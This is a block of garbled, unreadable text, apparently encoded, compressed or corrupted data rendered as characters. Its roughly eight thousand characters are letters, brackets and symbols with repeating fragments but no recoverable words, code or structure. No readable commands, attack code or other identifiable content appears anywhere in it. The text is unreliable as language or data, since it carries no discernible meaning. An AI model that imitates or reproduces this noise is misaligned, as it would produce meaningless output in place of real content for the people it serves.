fysQY{VV]ObYRrWXaU8~\)U}[~Pl
dxQAuyS]t@tTVH'{AhPTsTnSZYEzY@\Vr08A z Q{vhw	AhRHGa@6`FPjJXJ_Io5EeESo{L{gKMU[ {]Mf_XJ\QNCTWQyQHA]nIw]eVP2]Mb][-QGTe\SkQcR]cY@	DM	.T Eo4\D_ZCoIgUKwgTZzY\C\EoF~}q\OC[p[|YV\XW}E(yG|	]zH\z|XQ~xYJd^\Z5_F^y_+V@{Y|XVDVZKHB]B5]SZK_-u	YtCP\ N__}ytqa} tUV8/CyXPFAsT}aVW@'VkWAKTPWo [_txyBaTVH(;I
} SSzsmsPZh~W@YfU*T/ =}GgPzMFAsqcTCtXxVr)Y' }a PlAZxYwtgyw rp3"a@fDyqykW{gKMgi\*qDMzrz$_Y ZeIC]yW{UzWwgSBz {B]bf5^IYZ~yQ\IggSg]2^]Pef.@-kQQ~e{ywt_AcTMUQYzuAwX Jf	DQJ]Te	QVA]_V]g[Ez2]MTR.TRZY[_tS]VQgTcVz \]b	.P	\]\~ayoW{cQMYuDzQ\wfXJT/Do[D[ESoYMQUWPwgVGfJf[-o#G~SI
SYVQQc PMUB^z JX]	.T0\Q-E[^SoTgZN]YH^P6SEwPe.bQ@oVFD[tyQsT{]~RwcBPDM~rFR&]Uu]|ZH ^ZQtt\AW_B_K	Z.RQ[Tp^M[R@NqJ_G N\^a__V Z@kH\W^YS}[Mx]Y|N\Ztu]+yDZ@xH_TNZNVF[QWB]B5\_ru_*[	A V
^}X[JXQ~tZQH\_y%^ZqG_
-u	A V[^f[|EUxh[_B@^D5FBqK\VeG(JQ{H\}^NUt[QWB\DD[Ba\(a	A Qx~Y|tqhpqyJjtXBV8WCuPWk[~sRaSrZrKVXo#^a`PW
lVrHg T6HqV= sS~PzQ{xfWX2^t@tVDkUK}PYwOwsQry~sPqV-X$M^_dPYxEaqcy{tbKU-bWI KbQ{vxqHYFyZrcV8XkPeSowF{^W]dyJxt@TVH( {hePl{FWsSZdt@V-X+U1 xaQY{QAsI}ZqtD_V8Q^}JPYwOU\sUZG"eZrKVW=.I"qs5uBh^HAhMY_6`GfF
bQ[Y=Y~e	YpRgUKwUCZP2\M	.P ]Io[DeSykTAUUNwUT\x^wfDP<CIkQGDeGQeV{]V[z JEwfFX@IkRZDeaoTQBMQDDQ\w~rXVIo	@TekRQRwc]@6SwX
f_U#]De	wt_^G@[|RqV]ZHW_C
GWR[z]GpXV}^ZNtB_G_B_	Va	CV@xH^
WBXUYWIF[D ]]__	GDZ^k~\F^YS}`]MWR@^WN\^aX-G	]Sb\ XUXM\C]_HyX(_;|CC@^YlXT^FHrtZV|-\DZ__	W\)Czf@||YS}Z]Mqt@A%\XaCE(K	G8h	X}@\zpXKExZSq`@AW)FBqK^Ve	X)N
Df_^M}Y_]ZE)\]tuX*	[;RC^PZtYHV^ZRH]_~^YWe^
;aC^[z]Wt^M[RYWY`]_|RFBqK_*[	[N_hT\zJ[U[dYL[D|\\W_
uA(|[^fFBYR[Us_G N\^a__	A 
EPz]}ZH[xZJ^\AW_@r\*a	X.|	CAj[zB[U[d@NqJ^^T]Ys_	U[XJ	FS\]VYQxt]MWR^Xl\ZtCX8G	Z+_h^R^M[Y_I]]yV\DZ_]eD.	DkvFB^MFZHZ^\[o9@[Y(x]}QyNfysPlMRxY HU@T2aIHJVv&.Q+CGXRAxDnZ{QZ"ZkV!;](PWePW]`VwZwy uH~V8
CuPFQC ]~bIoutaU-<sAKzPo
bnsrAu uH~V fP;Pe	PzQt[]zHw SqZrcU(z
4}[qPoUCDI|JseEWa@QV;H{VP aSzoBxTtAwE&uZKV~V{&frG5\@BhA{wVwQU]6^_wz$_o\~evyYLWQQUQ]cD2	X]\jfYI]\~[EyQdR{YgRwUAVPu@MXf,B-kS^De\S]TP{UUNwgz[P.qSRFE %]R&XAT\FJYLX_J^\YyN_[IG_+a	G^
Bb_T^XVUh@NqJ\G1_\q_;W	]U`
CSH\	`YHVYKYx_AZ)\]IC_
GZY}f@lYRDBXUWd_V\[y_VC_`@xH\ |^MxBZRV]V\_raE(K	A V
F\\F^^M}t]MqF\Co%]@W[\+WDZ	Fz@\|JYRUxYL@YFBqK\C	C8|[f@T^M[R\_q|YV_FJ[\(K
Z+B@xH[W|YMV|ZUrFFGNYSr__	XJ	_AD\YVXQDB[_B@Cl-FBqK\Y.ZCx\TXP}[_r\[ )^SYGE(KD+
@T_ XK~d]Mb[D|R\DsC_G(JQ{H[DJYS~`]MJBFG|\_ra^GDJ	Zh@Fp\_~ tqa}  WrPV;XR8QRK}PFmUUgWYby~HXEVH/k5 zSrPl{axQAu"s WrWU*Q({( {q}P AgSq|2@FV@.
5PePIp}LqQ{}sTVH{^[bPFQCmYWaYQ |t{V-D.kCuPFYBnUI}~*BbrgV8XWI }CPTI`ZHYFZbW\}V PV{&^qT5uBh^HAhM{q_z2Swb
.P2B-U=CefCV{wV]QU]6IYMX]
fN]Io	CTaCo^IQY@LwYF_PY[wb
f$Zo[WQyR{c_wgaZP2^]TP
JP.A]\~aSosKQLIwQgBzhA	.fA-o#BDSSyQSQYVMUeEP^\M\wbQ[Y$\Day]VQRwg\DP zSwTU\'ZI]^~SgyUmM]rN]QiC2^MfyJTRY-U-\~WQykMAgfWcCP6XTUTY-w$Q[EFr[p__rJ[GT%[Aq]WiV8h@{]}YPV`]MW[GT%^YWe^u]UN	Zh@Fp\_~YJJZ_Z|__qK^UC
CZ	@AT^zB[VnFXVax\GE\DZ_*WG+B
EPz_YpYS}`]MJB[D|%][tWE(K
GWR	F}X\}|YVxt[Qb`[DZ[AsC^
8G	XQx{)yh|qWsSl6Jt@|VX7UAKrQY{QDnZ{QZ.{sV;H)UK}PMU|bw{~JzYfU-?.QASGSl]xYxHYFyqt\zV f\.I)qs5uBh^HAhM{q_z iFfe
~$VY Ze^yR{cWwQi@z jYMPjJbQ[Y<D[QVYw_]gXz6SEwb.XTEIo3_DstVQYCMwYa[za^wfu.f	XIoE~e`y]VN{QcNMgGYz6xAMfX\<BI]^~evSQ~SAw_RGFRqUW|^W	BJ	\Sf_VYNDVZPYZ_DD\^y_WG+B	FS\@F|EUDtXMIR^DD\@}]UY+
DP\z|^M t]MaZ[DZFBqKXUY.Z_Cz^o|XV}tZSq^\Z5\AZG^Va[)h_h^o|YNEZNtx^\Z5\[uCVa]T@{@Y|B^NUt[_q[Dl^ZiC;aG(Q{)yh|qWsSl*ZZrKVXWACuPlYItWsT~Wrr~U+r(
& qPlQ[}aB}JD[U(bQ;oUPe|Po|nAtE\SEt[V;H)UKQQY{VDUFtY{ uYXKV-\4Y kWSo]x[AZtAw}aV-X..<AKzPT|UcWtWyCtXXV-XWI e^PU} suZBES\ZAV	WA)KrQY{Qhw	AhRHGa@tB]b	X!GkQ\T[]S]VQVQU]6IYMfP.fJVIU-\~edyoa_{gUKwg`@J^wfcXV]_e\S]TP{gfR]g]z6GG]TU\'ZIU&Ya]sHU|PU_P6FA]fXJTSAIo,G}qCoYMQgLMc[P tGf{f4[o3_DSoeJQoJUSX6yGwfXJfE]_e\S]TP{UUNwU\_@J^wfDTAU']StkRQQrKgB@^b	P<CIo	CT[tSorKgCUMcY@Q\wb~$VOUur[Jm^XVqF\Xy%@SIaXGY^_hTFBXVDVZKHB]ZEV\[H_]e	GVhQ]V__}|F_I`[DE\Ety\uDTB	_}v\F`XU]Mt[Dl]\q^+G(Qx[oRZL[B[Us\Y^GW]eY^_hT_YJXUZNWt[D|[BsuE(y	A V^^\\F^[I^]Mq_EW]ZYi^
C
GW	\b\YVYNn`[Wrx^X~^YWe] WX;^Qxz_
GNXWmJZJbt^D\Sr}^
iV+|Qxz]Dp[U[dXPYV^XlZSqy\T	[Uh	D^\]Dp[VmtZHZ^\[G\^Hi^
8u\lZP\|V__}x]MR[D\AZS^	}
DJ	XzX_WZEP JXUWd]]\Sr_Z*SV)Z
@X]V^M}tZNst]\~N_B_	Va	CV	XzX\zNYHV^FWH\Ay5^YWeE(KC;VDh\FBXV}^YN^[Dl[Aqu_TDN	]{TF|YHV^]Mqt^VG\\tX;D+
DCv\F^^M[R@NqJ^YT^]aW^*D+[za0o}MAQRH]UQYzJZf_P$V-]2]T}q\OC[p[|[D|R_Fe\T_DN^PT^o^ZJE^ZHZ^\V|R\^W^
;a	YUN@xH\zpXUZRB@VD1@[H[]W	B.p
D@\\TVXTtZVtt_Y\FJ_E(K
CUlCv[oR\_~JFPx^Xl\]tS]
8W]T^_}z\YS}ZZHtx_E~9FBqK\T	[Uh	D^\[XTFt[Js|@Yo-\_sW]SG(JQ{FBZN^F_]\~N\_C_-
EW	]@\zYTmB@Nr]_E\GHC]Y)^ChD[lVCN}JXMZ[DZV]Sa_
-u
GWVCAD]}^M}[Us_E N[AaG_
8DWZ	]^H]	Y^XJmRXUWd\A|R\_q[X(u^.^[z]V^MFB[S^DG9^YWeY(x]}QyNfysSos_EsIIW"~@vU+r;
KrPFmV{WWw_WWhbz@VU\?;Q- S RAx}UGZUHl"cZ@eV;~.Q$ }yPW
dEIQtEgywH~U*P')s}GgPWOVntjyyaTvV~
UA(PaHPYyx]PZsHWht@tTVH(.< zSrS}sGxEaZdZXGVU\(;Qa_Q{vxQ}WJy {JrfTVH(oP^`Po][]zHIW"HDiU8z.QPPzAo[]bc~JTqTGU @&.M2}[qSW suaFEFW\VHSQ^`Po]DZtAw}YfV8UsAKzPzMbAsa"r rpU*3wPePY{zx]aF|.	tHRVH/;s}[APDMYxA AuZ|HHV8VV{&frG5\@BhAQSTgI\@YwfP.P!BI]Q~aCQB_Q]uW]x[z zBMXJf5BIo_TWQy]`LQY@V][z6GG]fb.f,B-kQQ~aCoBTA]pMwgyDg\wTR.fB-UE[FyUA{wVwgd_J^wXbQ[Y<DSySkJ{UWPwg[A i^MPjJf4]I]XeoM{YUwUS_S]b	f-DY(CDSSSYQQCL]UQYz6f]M	.P\_-k]\e	o^VQK]gfX@JS]zr5FR&]Uu]F^YKDBZU\Ay5\Gty](G	X.|C^P[|ZPxZZI^\AE-^YWe];W\UB@xH\TYHVXUWd[D|%[Ba_*WG	FSbFBYRVd[SaR\Y[Aqu_*u\8J	G{X^YlX_VR[J|^\Z5@ZY}_;eV+t
Y@D[DJZN^[WtV\YG_Equ_W
CT	X}v^FZNFx@NqJ\AW_B[_-eD+|DzzFBXVJ[VYh\G1@\K_-y_+VE{fFBYSJZQtt\AW_B_X8[
CUl@xH^WNXK~dZKtx]\5\DsWXSG+B	FS\@	 CN~B__rJ[GT%_FeXUuD;R@{Y|tqhpqZ"SaXAU*~#;sR}CwQ{v[sRhEHPPVT$WA]^_BPzIrUgtYq H~V,.Q+SubPlABIQZ"Sr\
VUbW.
 zSrSwF{^q}sPqU(T$s xWqRAxQtqc|Jz[U(bQ(M)K}Pz
r}ULZsbySWt\UVW=Q}[APWoOxA bs^}YV-@*T]+ P_CPlyAscyH~VX; zSrSwm]xHIzy[bDZU(z/ { x}	PoMxgtEg uIHJVHV{&^_qPzMYxQW]~|.	tXrV bQ4kq~RAw[sRh{	Ga_GdMPVJf\U^StCoVK{USIMUTVz6\A]	.PDYD~StkRQgKwY\P2]wTJJ\V]^~[FSYlJcRMg\DP6i@w\{	.XE-o-CDSTS]TP{_]g\GP DA]f_bP_IY<De[YlRAQoVgfX@J^wXE.X_kQ\TSxCoTggIYdYz.qSMXPEI]^~e\kMA{wHM{qA@6\A]T
.bS[]FT_rQVgfKgEXP2AMb.bPX-kQ\T[]SoYMQc PMqV@ZXPEIk\\Da	YLWQgb_]gbBQ\wf_JbSD]\~e\SQVAQaTgiEzQ\wfu.XW^IU!@TSI
SYVQQRwg`@@ tGT^Jf	DQW_D[yQQAgZN]qV_FW| %\.^}P^l^XUJYNZ[D|R]Sa^-
GV^	FS\FBZH xZHZ^_GT_AIG^Va
E |	E}z^	}RYHV^FHZx]D)^YWe\V[[)l	FS\ZtZUVXPtR\Z|]Ys_aDJ@xH\ XU[VHV\BE\F_X
GWVF_Gt^Nn`]MqB^\Z5]^Ii\WS
GWR[z\YRYR [PrFG|]]auXWi	[TJ	FS@|YS}\_qy} dppVTHQ}[~PY{cxYxswy2^H~Vr{3 }a^PG`xcXssy[tXBV-@S $}[qPl
mmctYqjH~VT.]SqHP MyU]EArEaTV	V{& hPFMnYOIboGb~V-@".QP}GRAT[sUZsHl ItTU-?{V}_VSwmEaYGT6	b V-@SUA(KVPFQCUcFHQT2StrGWUr&{frG5\@BhAQSTgI\@YwPJP!BIo,E~[uSQIUWPwg{_@ JX]	.f5AkQQ~aCQ@IQgZM]g[EzgBwTR.bSDkPXe{
yosHQc PMY\ TD]	.\&^Ik][~_RS]TP{g\Kw]VBF@wz$_-kRCa		SkQ]rN]c[PtB]b.PVQ$\~[ECocQAw_McD2	X]b.bQ@kSCD_tSYVQQcTMU|CzzA]TR.b]\-]&CTefCwt_A{wVlGFRqUW|^W	BJCx^	}RYUZHtd\By)^ZiC;a	Z+XP~^V[VmtXUWd]\~N_GqyXSG+B
QxH\lhYHV^ZU\Ay5]XS^WG]T|@^D\|ZYVxtZKtx^_|\]tuXS]^DhP@GhXK~dYLsZ@\R_^Ya]e
Y.RQx~[ZN VXUZ_GZ1[AW];W\UB[^f\|ZEPVZZQtF_]Z5\DZ_\ [[|	Q{~]}YHV[TJ^\A[AWSE(K
YUh	E{z[ZPxZ]MqB^_|[Aq_VCD(DD]|lX_hYLsh\_lN^YWe\ [VV`Qx~]F^YKDBXUWd\Ay5\^[_(u	AVNZCH[YZCN}JZHZ^]V|V[Aa[X+CDWV_P_NZN^[WtV^\Z5\[Wa_-uYVB@xH\hEP JZNqt\A]Ss[^ [
E ^Q@b[}JYPm`ZPR]_T9FBqyXTS[;`	^@[YZ^M}tZHsV\^|__WK_;uG+B	\Sf_YpZPBZLx^D [ASCSG.R@xH[ZZNZXJHV[D|R^FHW]-WDJ@{
)yh|qI|lGHP{V"UA( hPFMAsJse2Gt\UVr5.Q+}CwPT{g suYg |HkVz.Q+PPAI{HhW*Qbr~VrV.U}[~PYI~DQ~IwE2bH\VTH];](K}SzoDg{tA uHf~V-@SQAK|PoyAsawd "wZ\V-X+k hqsPkZnIYYgJyt@AV-X.V{&PePl{xEsWw_E xItVT@ ;o/ xCcPWkDETWA{|AZTKVVD?;CyXPzIr sutAEFafU8fQ8A z RAT[sUHQxDSwtTVT@ WA]hezPAS ]aYBrWXaVr*.U,K|PzUSIztY~ltiV-XkU }CBPzQ~xIWHIzyqt\zV-H<VsPqsQY{QRsDo H@kV;rW
$^KbS}sAsWc`o&J rp3"a@fDSgYAPAcR]g{@z6ZGwXyfB-oNDDWCSR{Y@Lw\@*qZwXbQ]kQ_DSI
SYVQQgx_]gv@z6~S]T	TY-kSCDyodR{QQLc_ I[]PP
bQV-Y=Y~Sio^P{UWPwcD@.qSMb.bQ@QSGaCYmWAUsLMQSXPAMTpfBoJ^TWuCkUAQUQ]c\zsA]~rX'@Y<\DWQykMAcR]c	Y@2YMTP
Jf,B-Q-GDeSQIcQMUQYzAMTp][-o4\~SWk VYrN]g[_S]fz.f,@IkSCD[kQAUWPwc\zsA]~rX$[-Q'GDSiC]TP{gZKcD@J^wb	b\YQQTWVSUwSY~IMgBP tGX^bRV-kP_~yYWL{Y[_]Qi[@jB]X{fVBU!@TS|SYVQQc PMc\2Swb
.][-QJ[TSWYRQgfJcAP6v\]fzf,@]0G~[xCoKQUWPw]fG6[\wPWXNGo,E~[xCoKQQUVQS\Q\wTQPYIw$QDyqSQUQggIQI\P6G\wf
TY-kQQ~WfCQCVQUPUg[Ez2ZPjJTE-Y(^W		YWN{w_RGFRqUW|^WC;Z
[S^zZXU]NW`[GZ1_SqK\([G+BZv_DJZI}tYJ_G ]Ys\ [VV`Q]GpXV}^ZSWd\ZZ5@StKXCD;N	_CFB^NmRXNbV]\\Gty^*D+ZP~^lXS[dZPZR@]|_]H}E(K
\ ^}P] pYN `]Mq^]FBqK__
GWR[z[YNDV]Mq\_~\DZ_C }	X;
Bzj[NEUxh[VYhFG|]SJG^G	_.|
BSv\|__}|ZHZ^^_9@Sba\WC	EUpCT^ YP[ZSaR[D|[Ab\[D+	_}v\TXVDJZJbt\Z|1FBqK_	UChZ^T]oZ^Mn]Mq[G_BZG^+a].
@T@Gh^MFZHtdZV|(xp3)pNa!f[JG5\OC[p